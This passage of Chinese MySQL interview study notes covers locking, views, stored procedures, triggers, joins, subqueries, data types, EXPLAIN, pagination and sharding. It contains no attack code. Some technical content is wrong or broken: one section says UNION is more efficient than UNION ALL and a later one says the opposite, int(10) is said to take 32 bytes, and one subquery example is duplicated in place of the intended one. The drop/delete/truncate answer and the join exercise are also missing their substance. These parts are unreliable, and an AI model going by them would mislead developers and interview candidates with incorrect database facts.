数据库的乐观锁和悲观锁是什么?怎么实现的?数据库管理系统(DBMS)中的并发控制的任务是确保在多个事务同时存取数据库中同一数据时不破坏事务的隔离性和统一性以及数据库的统一性。乐观并发控制(乐观锁)和悲观并发控制(悲观锁)是并发控制主要采用的技术手段。悲观锁:假定会发生并发冲突,屏蔽一切可能违反数据完整性的操作。在查询完数据的时候就把事务锁起来,直到提交事务。实现方式:使用数据库中的锁机制乐观锁:假设不会发生并发冲突,只在提交操作时检查是否违反数据完整性。在修改数据的时候把事务锁起来,通过version的方式来进行锁定。实现方式:乐一般会使用版本号机制或CAS算法实现。两种锁的使用场景从上面对两种锁的介绍,我们知道两种锁各有优缺点,不可认为一种好于另一种,像乐观锁适用于写比较少的情况下(多读场景),即冲突真的很少发生的时候,这样可以省去了锁的开销,加大了系统的整个吞吐量。但如果是多写的情况,一般会经常产生冲突,这就会导致上层应用会不断的进行retry,这样反倒是降低了性能,所以一般多写的场景下用悲观锁就比较合适。7 视图7.1 为什么要使用视图?什么是视图?为了提高复杂SQL语句的复用性和表操作的安全性,MySQL数据库管理系统提供了视图特性。所谓视图,本质上是一种虚拟表,在物理上是不存在的,其内容与真实的表相似,包含一系列带有名称的列和行数据。但是,视图并不在数据库中以储存的数据值形式存在。行和列数据来自定义视图的查询所引用基本表,并且在具体引用视图时动态生成。视图使开发者只关心感兴趣的某些特定数据和所负责的特定任务,只能看到视图中所定义的数据,而不是视图所引用表中的数据,从而提高了数据库中数据的安全性。7.2 视图有哪些特点?视图的特点如下:1、视图的列可以来自不同的表,是表的抽象和在逻辑意义上建立的新关系。2、视图是由基本表(实表)产生的表(虚表)。3、视图的建立和删除不影响基本表。4、对视图内容的更新(添加,删除和修改)直接影响基本表。5、当视图来自多个基本表时,不允许添加和删除数据。6、视图的操作包括创建视图,查看视图,删除视图和修改视图。7.3 视图的使用场景有哪些?视图根本用途:简化sql查询,提高开发效率。如果说还有另外一个用途那就是兼容老的表结构。下面是视图的常见使用场景:重用SQL语句;简化复杂的SQL操作。在编写查询后,可以方便的重用它而不必知道它的基本查询细节;使用表的组成部分而不是整个表;保护数据。可以给用户授予表的特定部分的访问权限而不是整个表的访问权限;更改数据格式和表示。视图可返回与底层表的表示和格式不同的数据。7.4 视图的优点查询简单化。视图能简化用户的操作数据安全性。视图使用户能以多种角度看待同一数据,能够对机密数据提供安全保护逻辑数据独立性。视图对重构数据库提供了一定程度的逻辑独立性7.5 视图的缺点1.性能。数据库必须把视图的查询转化成对基本表的查询,如果这个视图是由一个复杂的多表查询所定义,那么,即使是视图的一个简单查询,数据库也把它变成一个复杂的结合体,需要花费一定的时间。2.修改限制。当用户试图修改视图的某些行时,数据库必须把它转化为对基本表的某些行的修改。事实上,当从视图中插入或者删除时,情况也是这样。对于简单视图来说,这是很方便的,但是,对于比较复杂的视图,可能是不可修改的这些视图有如下特征:1.有UNIQUE等集合操作符的视图。2.有GROUP BY子句的视图。3.有诸如AVG\SUM\MAX等聚合函数的视图。 4.使用DISTINCT关键字的视图。5.连接表的视图(其中有些例外)7.6 什么是游标?游标是系统为用户开设的一个数据缓冲区,存放SQL语句的执行结果,每个游标区都有一个名字。用户可以通过游标逐一获取记录并赋给主变量,交由主语言进一步处理。8 存储过程与函数8.1 什么是存储过程?有哪些优缺点?存储过程是一个预编译的SQL语句,优点是允许模块化的设计,就是说只需要创建一次,以后在该程序中就可以调用多次。如果某次操作需要执行多次SQL,使用存储过程比单纯SQL语句执行要快。优点1)存储过程是预编译过的,执行效率高。2)存储过程的代码直接存放于数据库中,通过存储过程名直接调用,减少网络通讯。3)安全性高,执行存储过程需要有一定权限的用户。4)存储过程可以重复使用,减少数据库开发人员的工作量。缺点1)调试麻烦,但是用 PL/SQL Developer 调试很方便!弥补这个缺点。2)移植问题,数据库端代码当然是与数据库相关的。但是如果是做工程型项目,基本不存在移植问题。3)重新编译问题,因为后端代码是运行前编译的,如果带有引用关系的对象发生改变时,受影响的存储过程、包将需要重新编译(不过也可以设置成运行时刻自动编译)。4)如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难、而且代价是空前的,维护起来更麻烦。9 触发器9.1 什么是触发器?触发器的使用场景有哪些?触发器是用户定义在关系表上的一类由事件驱动的特殊的存储过程。触发器是指一段代码,当触发某个事件时,自动执行这些代码。使用场景1.可以通过数据库中的相关表实现级联更改。2.实时监控某张表中的某个字段的更改而需要做出相应的处理。3.例如可以生成某些业务的编号。4.注意不要滥用,否则会造成数据库及应用程序的维护困难。5.大家需要牢记以上基础知识点,重点是理解数据类型CHAR和VARCHAR的差异,表存储引擎InnoDB和MyISAM的区别。9.2 MySQL中都有哪些触发器?在MySQL数据库中有如下六种触发器:Before InsertAfter InsertBefore UpdateAfter UpdateBefore DeleteAfter Delete10 常用SQL语句10.1 SQL语句主要分为哪几类数据定义语言DDL(Data Ddefinition Language)CREATE,DROP,ALTER主要为以上操作 即对逻辑结构等有操作的,其中包括表结构,视图和索引。数据查询语言DQL(Data Query Language)SELECT这个较为好理解 即查询操作,以select关键字。各种简单查询,连接查询等 都属于DQL。数据操纵语言DML(Data Manipulation Language)INSERT,UPDATE,DELETE主要为以上操作 即对数据进行操作的,对应上面所说的查询操作 DQL与DML共同构建了多数初级程序员常用的增删改查操作。而查询是较为特殊的一种 被划分到DQL中。数据控制功能DCL(Data Control Language)GRANT,REVOKE,COMMIT,ROLLBACK主要为以上操作 即对数据库安全性完整性等有操作的,可以简单的理解为权限控制等。10.2 超键、候选键、主键、外键分别是什么?超键:在关系中能唯一标识元组的属性集称为关系模式的超键。一个属性可以为作为一个超键,多个属性组合在一起也可以作为一个超键。超键包含候选键和主键。候选键:是最小超键,即没有冗余元素的超键。主键:数据库表中对储存数据对象予以唯一和完整标识的数据列或属性的组合。一个数据列只能有一个主键,且主键的取值不能缺失,即不能为空值(Null)。外键:在一个表中存在的另一个表的主键称此表的外键。10.3 SQL 约束有哪几种?NOT NULL: 用于控制字段的内容一定不能为空(NULL)。UNIQUE: 控件字段内容不能重复,一个表允许有多个 Unique 约束。PRIMARY KEY: 也是用于控件字段内容不能重复,但它在一个表只允许出现一个。FOREIGN KEY: 用于预防破坏表之间连接的动作,也能防止非法数据插入外键列,因为它必须是它指向的那个表中的值之一。CHECK: 用于控制字段的值范围。10.4 六种关联查询交叉连接(CROSS JOIN)内连接(INNER JOIN)外连接(LEFT JOIN/RIGHT JOIN)联合查询(UNION与UNION ALL)全连接(FULL JOIN)交叉连接(CROSS JOIN)`SELECT * FROM A,B(,C)或者SELECT * FROM A CROSS JOIN B (CROSS JOIN C)#没有任何关联条件,结果是笛卡尔积,结果集会很大,没有意义,很少使用内连接(INNER JOIN)SELECT * FROM A,B WHERE A.id=B.id或者SELECT * FROM A INNER JOIN B ON A.id=B.id多表中同时符合某种条件的数据记录的集合,INNER JOIN可以缩写为JOIN内连接分为三类`等值连接:ON A.id=B.id不等值连接:ON A.id > B.id自连接:SELECT * FROM A T1 INNER JOIN A T2 ON T1.id=T2.pid外连接(LEFT JOIN/RIGHT JOIN)左外连接:LEFT OUTER JOIN, 以左表为主,先查询出左表,按照ON后的关联条件匹- - 配右表,没有匹配到的用NULL填充,可以简写成LEFT JOIN右外连接:RIGHT OUTER JOIN, 以右表为主,先查询出右表,按照ON后的关联条件匹配左表,没有匹配到的用NULL填充,可以简写成RIGHT JOIN联合查询(UNION与UNION ALL)SELECT * FROM A UNION SELECT * FROM B UNION …就是把多个结果集集中在一起,UNION前的结果为基准,需要注意的是联合查询的列数要相等,相同的记录行会合并如果使用UNION ALL,不会合并重复的记录行效率 UNION 高于 UNION ALL全连接(FULL JOIN)MySQL不支持全连接可以使用LEFT JOIN 和UNION和RIGHT JOIN联合使用SELECT * FROM A LEFT JOIN B ON A.id=B.id UNIONSELECT * FROM A RIGHT JOIN B ON A.id=B.id表连接面试题有2张表,1张R、1张S,R表有ABC三列,S表有CD两列,表中各有三条记录。R表S表交叉连接(笛卡尔积):select r.,s. from r,s2.内连接结果:select r.,s. from r inner join s on r.c=s.c3.左连接结果:select r.,s. from r left join s on r.c=s.c4.右连接结果:select r.,s. from r right join s on r.c=s.c5.全表连接的结果(MySql不支持,Oracle支持):select r.,s. from r full join s on r.c=s.c10.5 什么是子查询1.条件:一条SQL语句的查询结果做为另一条查询语句的条件或查询结果2.嵌套:多条SQL语句嵌套使用,内部的SQL查询语句称为子查询。10.6 子查询的三种情况子查询是单行单列的情况:结果集是一个值,父查询使用:=、 <、 > 等运算符– 查询工资最高的员工是谁?select * from employee where salary=(select max(salary) from employee); 子查询是多行单列的情况:结果集类似于一个数组,父查询使用:in 运算符– 查询工资最高的员工是谁?select * from employee where salary=(select max(salary) from employee); 子查询是多行多列的情况:结果集类似于一张虚拟表,不能用于where条件,用于select子句中做为子表– 1) 查询出2011年以后入职的员工信息– 2) 查询所有的部门信息,与上面的虚拟表中的信息比对,找出所有部门ID相等的员工。select * from dept d, (select * from employee where join_date > '2011-1-1') e where e.dept_id = d.id; -- 使用表连接: select d.*, e.* from dept d inner join employee e on d.id = e.dept_id where e.join_date > '2011-1-1' 10.7 mysql中 in 和 exists 区别mysql中的in语句是把外表和内表作hash 连接,而exists语句是对外表作loop循环,每次loop循环再对内表进行查询。一直大家都认为exists比in语句的效率要高,这种说法其实是不准确的。这个是要区分环境的。1.如果查询的两个表大小相当,那么用in和exists差别不大。2.如果两个表中一个较小,一个是大表,则子查询表大的用exists,子查询表小的用in。3.not in 和not exists:如果查询语句使用了not in,那么内外表都进行全表扫描,没有用到索引;而not extsts的子查询依然能用到表上的索引。所以无论那个表大,用not exists都比not in要快。10.8 varchar与char的区别char的特点char表示定长字符串,长度是固定的;如果插入数据的长度小于char的固定长度时,则用空格填充;因为长度固定,所以存取速度要比varchar快很多,甚至能快50%,但正因为其长度固定,所以会占据多余的空间,是空间换时间的做法;对于char来说,最多能存放的字符个数为255,和编码无关varchar的特点varchar表示可变长字符串,长度是可变的;插入的数据是多长,就按照多长来存储;varchar在存取方面与char相反,它存取慢,因为长度不固定,但正因如此,不占据多余的空间,是时间换空间的做法;对于varchar来说,最多能存放的字符个数为65532总之,结合性能角度(char更快)和节省磁盘空间角度(varchar更小),具体情况还需具体来设计数据库才是妥当的做法。10.9 varchar(50)中50的涵义最多存放50个字符,varchar(50)和(200)存储hello所占空间一样,但后者在排序时会消耗更多内存,因为order by col采用fixed_length计算col长度(memory引擎也一样)。在早期 MySQL 版本中, 50 代表字节数,现在代表字符数。10.10 int(20)中20的涵义是指显示字符的长度。20表示最大显示宽度为20,但仍占4字节存储,存储范围不变;不影响内部存储,只是影响带 zerofill 定义的 int 时,前面补多少个 0,易于报表展示10.11 mysql为什么这么设计对大多数应用没有意义,只是规定一些工具用来显示字符的个数;int(1)和int(20)存储和计算均一样;10.12 mysql中int(10)和char(10)以及varchar(10)的区别int(10)的10表示显示的数据的长度,不是存储数据的大小;chart(10)和varchar(10)的10表示存储数据的大小,即表示存储多少个字符。int(10) 10位的数据长度 9999999999,占32个字节,int型4位char(10) 10位固定字符串,不足补空格 最多10个字符varchar(10) 10位可变字符串,不足补空格 最多10个字符char(10)表示存储定长的10个字符,不足10个就用空格补齐,占用更多的存储空间varchar(10)表示存储10个变长的字符,存储多少个就是多少个,空格也按一个字符存储,这一点是和char(10)的空格不同的,char(10)的空格表示占位不算一个字符10.13 FLOAT和DOUBLE的区别是什么?FLOAT类型数据可以存储至多8位十进制数,并在内存中占4字节。DOUBLE类型数据可以存储至多18位十进制数,并在内存中占8字节。10.14 drop、delete与truncate的区别因此,在不再需要一张表的时候,用drop;在想删除部分数据行时候,用delete;在保留表而删除所有数据的时候用truncate。10.15 UNION与UNION ALL的区别?如果使用UNION ALL,不会合并重复的记录行效率 UNION 高于 UNION ALL11 SQL优化11.1 如何定位及优化SQL语句的性能问题?创建的索引有没有被使用到?或者说怎么才可以知道这条语句运行很慢的原因?对于低性能的SQL语句的定位,最重要也是最有效的方法就是使用执行计划,MySQL提供了explain命令来查看语句的执行计划。 我们知道,不管是哪种数据库,或者是哪种数据库引擎,在对一条SQL语句进行执行的过程中都会做很多相关的优化,对于查询语句,最重要的优化方式就是使用索引。 而执行计划,就是显示数据库引擎对于SQL语句的执行的详细情况,其中包含了是否使用索引,使用什么索引,使用的索引的相关信息等。执行计划包含的信息 id 有一组数字组成。表示一个查询中各个子查询的执行顺序;id相同执行顺序由上至下。id不同,id值越大优先级越高,越先被执行。id为null时表示一个结果集,不需要使用它查询,常出现在包含union等查询语句中。select_type 每个子查询的查询类型,一些常见的查询类型。​table 查询的数据表,当从衍生表中查数据时会显示 x 表示对应的执行计划id partitions 表分区、表创建的时候可以指定通过那个列进行表分区。 举个例子:create table tmp ( id int unsigned not null AUTO_INCREMENT, name varchar(255), PRIMARY KEY (id) ) engine = innodb partition by key (id) partitions 5;type(非常重要,可以看到有没有走索引) 访问类型ALL 扫描全表数据index 遍历索引range 索引范围查找index_subquery 在子查询中使用 refunique_subquery 在子查询中使用 eq_refref_or_null 对Null进行索引的优化的 reffulltext 使用全文索引ref 使用非唯一索引查找数据eq_ref 在join查询中使用PRIMARY KEYorUNIQUE NOT NULL索引关联。possible_keys 可能使用的索引,注意不一定会使用。查询涉及到的字段上若存在索引,则该索引将被列出来。当该列为 NULL时就要考虑当前的SQL是否需要优化了。key 显示MySQL在查询中实际使用的索引,若没有使用索引,显示为NULL。TIPS:查询中若使用了覆盖索引(覆盖索引:索引的数据覆盖了需要查询的所有数据),则该索引仅出现在key列表中key_length 索引长度ref 表示上述表的连接匹配条件,即哪些列或常量被用于查找索引列上的值rows 返回估算的结果集数目,并不是一个准确的值。extra 的信息非常丰富,常见的有:1.Using index 使用覆盖索引2.Using where 使用了用where子句来过滤结果集3.Using filesort 使用文件排序,使用非索引列进行排序时出现,非常消耗性能,尽量优化。4.Using temporary 使用了临时表 sql优化的目标可以参考阿里开发手册【推荐】SQL性能优化的目标:至少要达到 range 级别,要求是ref级别,如果可以是consts最好。 说明: 1) consts 单表中最多只有一个匹配行(主键或者唯一索引),在优化阶段即可读取到数据。 2) ref 指的是使用普通的索引(normal index)。 3) range 对索引进行范围检索。 反例:explain表的结果,type=index,索引物理文件全扫描,速度非常慢,这个index级别比较range还低,与全表扫描是小巫见大巫。 11.2 SQL的生命周期?1.应用服务器与数据库服务器建立一个连接2.数据库进程拿到请求sql3.解析并生成执行计划,执行4.读取数据到内存并进行逻辑处理5.通过步骤一的连接,发送结果到客户端6.关掉连接,释放资源11.3 大表数据查询,怎么优化1.优化shema、sql语句+索引;2.第二加缓存,memcached, redis;3.主从复制,读写分离;4.垂直拆分,根据你模块的耦合度,将一个大的系统分为多个小的系统,也就是分布式系统;5.水平切分,针对数据量大的表,这一步最麻烦,最能考验技术水平,要选择一个合理的sharding key, 为了有好的查询效率,表结构也要改动,做一定的冗余,应用也要改,sql中尽量带sharding key,将数据定位到限定的表上去查,而不是扫描全部的表;11.4 超大分页怎么处理?超大的分页一般从两个方向上来解决.1.数据库层面,这也是我们主要集中关注的(虽然收效没那么大),类似于select * from table where age > 20 limit 1000000,10这种查询其实也是有可以优化的余地的. 这条语句需要load1000000数据然后基本上全部丢弃,只取10条当然比较慢. 当时我们可以修改为select * from table where id in (select id from table where age > 20 limit 1000000,10).这样虽然也load了一百万的数据,但是由于索引覆盖,要查询的所有字段都在索引中,所以速度会很快. 同时如果ID连续的好,我们还可以select * from table where id > 1000000 limit 10,效率也是不错的,优化的可能性有许多种,但是核心思想都一样,就是减少load的数据.2.从需求的角度减少这种请求…主要是不做类似的需求(直接跳转到几百万页之后的具体某一页.只允许逐页查看或者按照给定的路线走,这样可预测,可缓存)以及防止ID泄漏且连续被人恶意攻击.解决超大分页,其实主要是靠缓存,可预测性的提前查到内容,缓存至redis等k-V数据库中,直接返回即可.在阿里巴巴《Java开发手册》中,对超大分页的解决办法是类似于上面提到的第一种.【推荐】利用延迟关联或者子查询优化超多分页场景。 说明:MySQL并不是跳过offset行,而是取offset+N行,然后返回放弃前offset行,返回N行,那当offset特别大的时候,效率就非常的低下,要么控制返回的总页数,要么对超过特定阈值的页数进行SQL改写。 正例:先快速定位需要获取的id段,然后再关联: SELECT a.* FROM 表1 a, (select id from 表1 where 条件 LIMIT 100000,20 ) b where a.id=b.id 11.5 mysql 分页LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15 为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last. 如果只给定一个参数,它表示返回最大的记录行数目:mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行 换句话说,LIMIT n 等价于 LIMIT 0,n。11.6 慢查询日志用于记录执行时间超过某个临界值的SQL日志,用于快速定位慢查询,为我们的优化做参考。开启慢查询日志配置项:slow_query_log可以使用show variables like ‘slov_query_log’查看是否开启,如果状态值为OFF,可以使用set GLOBAL slow_query_log = on来开启,它会在datadir下产生一个xxx-slow.log的文件。设置临界时间配置项:long_query_time查看:show VARIABLES like 'long_query_time',单位秒设置:set long_query_time=0.5实操时应该从长时间设置到短的时间,即将最慢的SQL优化掉查看日志,一旦SQL超过了我们设置的临界时间就会被记录到xxx-slow.log中11.7 关心过业务系统里面的sql耗时吗?统计过慢查询吗?对慢查询都怎么优化过?在业务系统中,除了使用主键进行的查询,其他的我都会在测试库上测试其耗时,慢查询的统计主要由运维在做,会定期将业务中的慢查询反馈给我们。慢查询的优化首先要搞明白慢的原因是什么? 是查询条件没有命中索引?是load了不需要的数据列?还是数据量太大?所以优化也是针对这三个方向来的,首先分析语句,看看是否load了额外的数据,可能是查询了多余的行并且抛弃掉了,可能是加载了许多结果中并不需要的列,对语句进行分析以及重写。分析语句的执行计划,然后获得其使用索引的情况,之后修改语句或者修改索引,使得语句可以尽可能的命中索引。如果对语句的优化已经无法进行,可以考虑表中的数据量是否太大,如果是的话可以进行横向或者纵向的分表。11.8 为什么要尽量设定一个主键?主键是数据库确保数据行在整张表唯一性的保障,即使业务上本张表没有主键,也建议添加一个自增长的ID列作为主键。设定了主键之后,在后续的删改查的时候可能更加快速以及确保操作数据范围安全。11.9 主键使用自增ID还是UUID?推荐使用自增ID,不要使用UUID。因为在InnoDB存储引擎中,主键索引是作为聚簇索引存在的,也就是说,主键索引的B+树叶子节点上存储了主键索引以及全部的数据(按照顺序),如果主键索引是自增ID,那么只需要不断向后排列即可,如果是UUID,由于到来的ID与原来的大小不确定,会造成非常多的数据插入,数据移动,然后导致产生很多的内存碎片,进而造成插入性能的下降。总之,在数据量大一些的情况下,用自增主键性能会好一些。关于主键是聚簇索引,如果没有主键,InnoDB会选择一个唯一键来作为聚簇索引,如果没有唯一键,会生成一个隐式的主键。11.10 字段为什么要求定义为not null?null值会占用更多的字节,且会在程序中造成很多与预期不符的情况。11.11 如果要存储用户的密码散列,应该使用什么字段进行存储?密码散列,盐,用户身份证号等固定长度的字符串应该使用char而不是varchar来存储,这样可以节省空间且提高检索效率。11.12 优化查询过程中的数据访问访问数据太多导致查询性能下降确定应用程序是否在检索大量超过需要的数据,可能是太多行或列确认MySQL服务器是否在分析大量不必要的数据行避免犯如下SQL语句错误查询不需要的数据。解决办法:使用limit解决多表关联返回全部列。解决办法:指定列名总是返回全部列。解决办法:避免使用SELECT *重复查询相同的数据。解决办法:可以缓存数据,下次直接读取缓存是否在扫描额外的记录。解决办法:使用explain进行分析,如果发现查询需要扫描大量的数据,但只返回少数的行,可以通过如下技巧去优化:使用索引覆盖扫描,把所有的列都放到索引中,这样存储引擎不需要回表获取对应行就可以返回结果。改变数据库和表的结构,修改数据表范式重写SQL语句,让优化器可以以更优的方式执行查询。11.13 优化长难的查询语句一个复杂查询还是多个简单查询MySQL内部每秒能扫描内存中上百万行数据,相比之下,响应数据给客户端就要慢得多使用尽可能小的查询是好的,但是有时将一个大的查询分解为多个小的查询是很有必要的。切分查询将一个大的查询分为多个小的相同的查询一次性删除1000万的数据要比一次删除1万,暂停一会的方案更加损耗服务器开销。分解关联查询,让缓存的效率更高。执行单个查询可以减少锁的竞争。在应用层做关联更容易对数据库进行拆分。查询效率会有大幅提升。较少冗余记录的查询。11.14 优化特定类型的查询语句count(*)会忽略所有的列,直接统计所有列数,不要使用count(列名)MyISAM中,没有任何where条件的count(*)非常快。当有where条件时,MyISAM的count统计不一定比其它引擎快。可以使用explain查询近似值,用近似值替代count(*)增加汇总表使用缓存11.15 优化关联查询确定ON或者USING子句中是否有索引。确保GROUP BY和ORDER BY只有一个表中的列,这样MySQL才有可能使用索引。11.16 优化子查询用关联查询替代优化GROUP BY和DISTINCT这两种查询据可以使用索引来优化,是最有效的优化方法关联查询中,使用标识列分组的效率更高如果不需要ORDER BY,进行GROUP BY时加ORDER BY NULL,MySQL不会再进行文件排序。WITH ROLLUP超级聚合,可以挪到应用程序处理11.17 优化LIMIT分页LIMIT偏移量大的时候,查询效率较低可以记录上次查询的最大ID,下次查询时直接根据该ID来查询11.18 优化UNION查询UNION ALL的效率高于UNION11.19 优化WHERE子句解题方法对于此类考题,先说明如何定位低效SQL语句,然后根据SQL语句可能低效的原因做排查,先从索引着手,如果索引没有问题,考虑以上几个方面,数据访问的问题,长难查询句的问题还是一些特定类型优化的问题,逐一回答。SQL语句优化的一些方法?1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引。2.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表扫描,如:select id from t where num is null -- 可以在num上设置默认值0,确保表中num列没有null值,然后这样查询: select id from t where num=3.应尽量避免在 where 子句中使用!=或<>操作符,否则引擎将放弃使用索引而进行全表扫描。4.应尽量避免在 where 子句中使用or 来连接条件,否则将导致引擎放弃使用索引而进行全表扫描,如:select id from t where num=10 or num=20 -- 可以这样查询: select id from t where num=10 union all select id from t where num=205.in 和 not in 也要慎用,否则会导致全表扫描,如:select id from t where num in(1,2,3) -- 对于连续的数值,能用 between 就不要用 in 了: select id from t where num between 1 and 36.下面的查询也将导致全表扫描:select id from t where name like ‘%李%’若要提高效率,可以考虑全文检索。7.如果在 where 子句中使用参数,也会导致全表扫描。因为SQL只有在运行时才会解析局部变量,但优化程序不能将访问计划的选择推迟到运行时;它必须在编译时进行选择。然 而,如果在编译时建立访问计划,变量的值还是未知的,因而无法作为索引选择的输入项。如下面语句将进行全表扫描:select id from t where num=@num -- 可以改为强制查询使用索引: select id from t with(index(索引名)) where num=@num 8.应尽量避免在 where 子句中对字段进行表达式操作,这将导致引擎放弃使用索引而进行全表扫描。如:select id from t where num/2=100 -- 应改为: select id from t where num=100*29应尽量避免在where子句中对字段进行函数操作,这将导致引擎放弃使用索引而进行全表扫描。如:select id from t where substring(name,1,3)=’abc’ -- name以abc开头的id应改为: select id from t where name like ‘abc%’10.不要在 where 子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引。12 数据库优化12.1 为什么要优化系统的吞吐量瓶颈往往出现在数据库的访问速度上随着应用程序的运行,数据库的中的数据会越来越多,处理时间会相应变慢数据是存放在磁盘上的,读写速度无法和内存相比优化原则:减少系统瓶颈,减少资源占用,增加系统的反应速度。12.2 数据库结构优化一个好的数据库设计方案对于数据库的性能往往会起到事半功倍的效果。需要考虑数据冗余、查询和更新的速度、字段的数据类型是否合理等多方面的内容。将字段很多的表分解成多个表对于字段较多的表,如果有些字段的使用频率很低,可以将这些字段分离出来形成新表。因为当一个表的数据量很大时,会由于使用频率低的字段的存在而变慢。增加中间表对于需要经常联合查询的表,可以建立中间表以提高查询效率。通过建立中间表,将需要通过联合查询的数据插入到中间表中,然后将原来的联合查询改为对中间表的查询。增加冗余字段设计数据表时应尽量遵循范式理论的规约,尽可能的减少冗余字段,让数据库设计看起来精致、优雅。但是,合理的加入冗余字段可以提高查询速度。表的规范化程度越高,表和表之间的关系越多,需要连接查询的情况也就越多,性能也就越差。注意:冗余字段的值在一个表中修改了,就要想办法在其他表中更新,否则就会导致数据不一致的问题。12.3 MySQL数据库cpu飙升到500%的话他怎么处理?当 cpu 飙升到 500%时,先用操作系统命令 top 命令观察是不是 mysqld 占用导致的,如果不是,找出占用高的进程,并进行相关处理。如果是 mysqld 造成的, show processlist,看看里面跑的 session 情况,是不是有消耗资源的 sql 在运行。找出消耗高的 sql,看看执行计划是否准确, index 是否缺失,或者实在是数据量太大造成。一般来说,肯定要 kill 掉这些线程(同时观察 cpu 使用率是否下降),等进行相应的调整(比如说加索引、改 sql、改内存参数)之后,再重新跑这些 SQL。也有可能是每个 sql 消耗资源并不多,但是突然之间,有大量的 session 连进来导致 cpu 飙升,这种情况就需要跟应用一起来分析为何连接数会激增,再做出相应的调整,比如说限制连接数等12.4 大表怎么优化?某个表有近千万数据,CRUD比较慢,如何优化?分库分表了是怎么做的?分表分库了有什么问题?有用到中间件么?他们的原理知道么?当MySQL单表记录数过大时,数据库的CRUD性能会明显下降,一些常见的优化措施如下:1.限定数据的范围: 务必禁止不带任何限制数据范围条件的查询语句。比如:我们当用户在查询订单历史的时候,我们可以控制在一个月的范围内。;2.读/写分离: 经典的数据库拆分方案,主库负责写,从库负责读;3.缓存: 使用MySQL的缓存,另外对重量级、更新少的数据可以考虑使用应用级别的缓存;还有就是通过分库分表的方式进行优化,主要有垂直分表和水平分表垂直分区:根据数据库里面数据表的相关性进行拆分。 例如,用户表中既有用户的登录信息又有用户的基本信息,可以将用户表拆分成两个单独的表,甚至放到单独的库做分库。简单来说垂直拆分是指数据表列的拆分,把一张列比较多的表拆分为多张表。 如下图所示,这样来说大家应该就更容易理解了。垂直拆分的优点: 可以使得行数据变小,在查询时减少读取的Block数,减少I/O次数。此外,垂直分区可以简化表的结构,易于维护。垂直拆分的缺点: 主键会出现冗余,需要管理冗余列,并会引起Join操作,可以通过在应用层进行Join来解决。此外,垂直分区会让事务变得更加复杂;垂直分表把主键和一些列放在一个表,然后把主键和另外的列放在另一个表中适用场景1、如果一个表中某些列常用,另外一些列不常用2、可以使数据行变小,一个数据页能存储更多数据,查询时减少I/O次数缺点1.有些分表的策略基于应用层的逻辑算法,一旦逻辑算法改变,整个分表逻辑都会改变,扩展性较差2.对于应用层来说,逻辑算法增加开发成本3.管理冗余列,查询所有数据需要join操作水平分区:保持数据表结构不变,通过某种策略存储数据分片。这样每一片数据分散到不同的表或者库中,达到了分布式的目的。 水平拆分可以支撑非常大的数据量。水平拆分是指数据表行的拆分,表的行数超过200万行时,就会变慢,这时可以把一张的表的数据拆成多张表来存放。举个例子:我们可以将用户信息表拆分成多个用户信息表,这样就可以避免单一表数据量过大对性能造成影响。水品拆分可以支持非常大的数据量。需要注意的一点是:分表仅仅是解决了单一表数据过大的问题,但由于表的数据还是在同一台机器上,其实对于提升MySQL并发能力没有什么意义,所以 水平拆分最好分库 。水平拆分能够 支持非常大的数据量存储,应用端改造也少,但 分片事务难以解决 ,跨界点Join性能较差,逻辑复杂。《Java工程师修炼之道》的作者推荐 尽量不要对数据进行分片,因为拆分会带来逻辑、部署、运维的各种复杂度 ,一般的数据表在优化得当的情况下支撑千万以下的数据量是没有太大问题的。如果实在要分片,尽量选择客户端分片架构,这样可以减少一次和中间件的网络I/O。水平分表:表很大,分割后可以降低在查询时需要读的数据和索引的页数,同时也降低了索引的层数,提高查询次数适用场景1、表中的数据本身就有独立性,例如表中分表记录各个地区的数据或者不同时期的数据,特别是有些数据常用,有些不常用。2、需要把数据存放在多个介质上。水平切分的缺点1、给应用增加复杂度,通常查询时需要多个表名,查询所有数据都需UNION操作2、在许多数据库应用中,这种复杂度会超过它带来的优点,查询时会增加读一个索引层的磁盘次数下面补充一下数据库分片的两种常见方案:客户端代理: 分片逻辑在应用端,封装在jar包中,通过修改或者封装JDBC层来实现。 当当网的 Sharding-JDBC 、阿里的TDDL是两种比较常用的实现。中间件代理: 在应用和数据中间加了一个代理层。分片逻辑统一维护在中间件服务中。 我们现在谈的 Mycat 、360的Atlas、网易的DDB等等都是这种架构的实现。分库分表后面临的问题​事务支持 分库分表后,就成了分布式事务了。如果依赖数据库本身的分布式事务管理功能去执行事务,将付出高昂的性能代价; 如果由应用程序去协助控制,形成程序逻辑上的事务,又会造成编程方面的负担。跨库join只要是进行切分,跨节点Join的问题是不可避免的。但是良好的设计和切分却可以减少此类情况的发生。解决这一问题的普遍做法是分两次查询实现。在第一次查询的结果集中找出关联数据的id,根据这些id发起第二次请求得到关联数据。 分库分表方案产品跨节点的count,order by,group by以及聚合函数问题 这些是一类问题,因为它们都需要基于全部数据集合进行计算。多数的代理都不会自动处理合并工作。解决方案:与解决跨节点join问题的类似,分别在各个节点上得到结果后在应用程序端进行合并。和join不同的是每个结点的查询可以并行执行,因此很多时候它的速度要比单一大表快很多。但如果结果集很大,对应用程序内存的消耗是一个问题。数据迁移,容量规划,扩容等问题 来自淘宝综合业务平台团队,它利用对2的倍数取余具有向前兼容的特性(如对4取余得1的数对2取余也是1)来分配数据,避免了行级别的数据迁移,但是依然需要进行表级别的迁移,同时对扩容规模和分表数量都有限制。总得来说,这些方案都不是十分的理想,多多少少都存在一些缺点,这也从一个侧面反映出了Sharding扩容的难度。ID问题一旦数据库被切分到多个物理结点上,我们将不能再依赖数据库自身的主键生成机制。一方面,某个分区数据库自生成的ID无法保证在全局上是唯一的;另一方面,应用程序在插入数据之前需要先获得ID,以便进行SQL路由. 一些常见的主键生成策略UUID 